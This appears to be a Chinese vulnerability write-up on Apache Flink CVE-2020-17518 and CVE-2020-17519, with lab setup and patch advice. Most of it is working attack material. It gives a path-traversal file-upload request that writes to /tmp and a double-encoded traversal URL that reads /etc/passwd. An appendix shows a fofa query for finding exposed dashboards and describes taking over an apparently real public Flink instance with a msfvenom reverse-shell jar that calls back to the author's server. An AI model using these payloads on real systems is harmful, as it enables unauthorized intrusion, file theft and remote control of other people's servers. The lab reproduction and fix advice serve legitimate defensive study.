[toc]
漏洞简述
Apache Flink 是高效和分布式的通用数据处理平台,用于在无界和有界数据流上进行有状态的计算。Flink被设计为在所有常见的集群环境中运行,以内存中的速度和任何规模执行计算。
2021年01月06日,360CERT监测发现Apache Flink发布了Apache Flink 目录穿越漏洞,目录穿越漏洞的风险通告,漏洞编号为CVE-2020-17518、CVE-2020-17519,漏洞等级:高危,漏洞评分:8.5。
远程攻击者通过REST API目录遍历,可造成文件读取/写入的影响。
对此,建议广大用户及时将Apache Flink升级到最新版本。与此同时,请做好资产自查以及预防工作,以免遭受黑客攻击。
漏洞详情
Apache Flink是由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎。在Apache Flink 1.5.1版本中引入了REST API。
CVE-2020-17518:任意文件写入漏洞
攻击者利用REST API,可以修改HTTP头,将上传的文件写入到本地文件系统上的任意位置(Flink 1.5.1进程能访问到的)。
CVE-2020-17519:任意文件读取漏洞
Apache Flink 1.11.0 允许攻击者通过JobManager进程的REST API读取JobManager本地文件系统上的任何文件(JobManager进程能访问到的) 。
影响版本
- CVE-2020-17518:
Apache Flink 1.5.1-1.11.2 - CVE-2020-17519:
Apache Flink 1.11.0-1.11.2
漏洞验证
CVE-2020-17518:任意文件上传漏洞
环境搭建:
我们通过vulhub拉取镜像环境进行漏洞验证:https://github.com/vulhub/vulhub/tree/master/flink
cd vulhub/flink/CVE-2020-17518
docker-compose up -d
环境启动成功后,访问目标机的8081端口,直接就未授权了,进入Apache Flink 控制面板:
使用如下POC即可成功在目标主机/tmp目录下写入一个名为success的文件:
POST /jars/upload HTTP/1.1
Host: 47.xxx.xxx.72:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"
Hacked By WHOAMI
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
如下图所示,成功在目标主机/tmp目录下写入一个名为success的文件,里面的内容为“Hacked By WHOAMI”:
CVE-2020-17519:任意文件读取漏洞
我们同样是通过vulhub拉取镜像环境进行漏洞验证:https://github.com/vulhub/vulhub/tree/master/flink
cd vulhub/flink/CVE-2020-15719
docker-compose up -d
使用如下POC即可实现任意文件读取:
读取/etc/passwd
http://your-ip:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
如上图所示,读取成功。
给出一个批量检测脚本:https://github.com/B1anda0/CVE-2020-17519
修复建议
将Flink升级到1.11.3或1.12.0 。
附录:未授权访问-远程代码命令执行
Apache Flink Dashboard默认没有用户权限认证。攻击者可以通过未授权的Flink Dashboard控制台,直接上传jar包类型的木马,可远程执行任意系统命令获取服务器权限,风险极大。
在fofa上用以下fofa语法搜索的Apache Flink大多数都可以直接进入Flink控制台:
app="Apache-Flink"
漏洞复现
首先,我们在公网上发现一个存在未授权访问Apache Flink Dashboard,打开即可直接进入:
然后我们在自己的vps上使用metasploit生成一个jar包类型的木马:
msfvenom -p java/meterpreter/reverse_tcp LHOST=47.xxx.xxx.72 LPORT=2333 -f jar > shell.jar
并设置好监听:
use exploit/multi/handler
set payload java/shell/reverse_tcp
set lhost 47.xxx.xxx.72
set lport 2333
run
然后,点击Apache Flink Dashboard里面的Submit New Job,点击“Add New”上传我们当才生成的jar包木马,上传成功后点击Submit:
点击后,我们的vps上的即可得到目标主机的meterpreter:
修复意见
针对ApacheFlinkDashboard设置防火墙策略(禁止Dashboard对外访问,或者确保只对可信端点开放), 仅允许白名单IP进行访问,并在Web代理中增加对该服务的Digest认证,防止未授权访问。